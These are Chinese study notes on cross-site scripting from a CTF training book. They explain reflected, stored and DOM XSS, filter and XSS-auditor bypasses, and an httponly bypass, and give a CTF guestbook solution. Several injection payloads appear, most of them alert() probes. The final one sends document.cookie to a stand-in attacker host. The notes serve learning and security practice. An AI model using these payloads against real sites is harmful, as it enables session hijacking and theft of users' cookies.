《CTF特训营》web部分读书笔记(二)跨站脚本攻击(XSS)
程序员文章站
2022-03-16 20:08:10
继续阅读《CTF特训营》web部分,本节是XSS...
前言
继续阅读《CTF特训营》web部分
本节是XSS
1、简介
XSS是一种代码注入漏洞
在网页中注入恶意代码
被攻击者在加载网页时受到攻击
反射型XSS
代码作为客户端输入提交给服务端
在相应内容里返回并由浏览器执行
例子
<?php echo 'your input'.$_GET['input'];?>
攻击者
http://xxx.com/xss.php?input=<script>alert(/xss/)</script>
浏览器会执行alert(/xss/)
存储型XSS
代码会存储在服务端
- 留言板
- 聊天室
- 邮件
DOM XSS
不需要服务端解析
出发XSS的是DOM解析
例子
<html>
<head>
<title>DOM</title>
<meta charset="utf-8">
</head>
<body>
<div id="area"></div>
<script>
document.getElementByld("area").innerHTML=unescape(location.hash);
</body>
</html>
客户端的JavaScript代码将location.hash动态的赋予document.getElementByld(“area”).innerHTML
攻击者
http://xxx.com/dom.html#<img src=x οnerrοr='alert(/xss/)'>
输出在html标签
例子
<input name="user" value="{{your input}}"/>
攻击者
" οnclick="alert(/xss/)
输出在css代码中
例子
<style type="text/css">
body{
color:{{your input}};
}
</style>
攻击者
#000;background-image:url('javascript:alert(/xss/)')
输出在JavaScript代码中
例子
<script>
var name='{{your input}}';
</script>
攻击者
'+alert(/xss/)+'
2、防护与绕过
特定标签过滤
任何一种标签都可以构造xss代码
可参考:http://html5sec.org/
事件过滤
测试时可用burp进行fuzz
遍历可利用的事件
关键词过滤
一些可用方法
- 字符串拼接
- base64编码
- 不同进制编码
- url编码
一个好用的编码工具XSSEE
对.
、()
、{空格}
的过滤,绕过方案依次如下
with(document)alert(cookie);
window.onerror=alert;throw 1;
%0a
字符集编码导致的绕过
字符集编码存在问题时会导致一些绕过
- utf-7
- US-ASCII
- 宽字节
- 特殊字符,可参考:http://10.cm/encodings/
长度限制
有长度限制时,善用
- window.name
- location
- 第三方库
httponly绕过
-
apache2.2.0-2.2.21有个漏洞CVE-2012-0053
可以植入超大cookie使得http头超过最大请求长度4192字节
返回400错误,包含httponly保护的cookie -
phpinfo页面有cookie
XSS auditor绕过
日语字符集绕过
<meta charset="ISO-2022-JP"><img src="#" onerror%1B28B=alert(1)/>
对https协议的错误理解绕过
http://xxx.com/xss.php?input=1><link%20rel="import"%20href=https:evil.com/1.php
3、危害与利用技巧
- 窃取cookie,伪造用户身份
- 与DOM对象交互,执行用户所有可执行操作
- 获取源码
- 发起http请求
- 获取地理位置
- 使用webRTC API获取网络信息
- 对内网扫描并攻击
4、实例
HCTF 2016中的题目guestbook
过滤代码
CSP规则(开启了unsafe-inline)
需要做到的事
- 绕过过滤:复写即可
- 绕过CSP
payload
<scrscriptipt>locatioonn.href="http://eval.com/xss/cookie.php?cookie="+escape(document.cookie);</scrscriptipt>
结语
了解了XSS相关知识和绕过方式
一个可以拿来参考和学习的平台:BeEF
本文地址:https://blog.csdn.net/weixin_44604541/article/details/107605890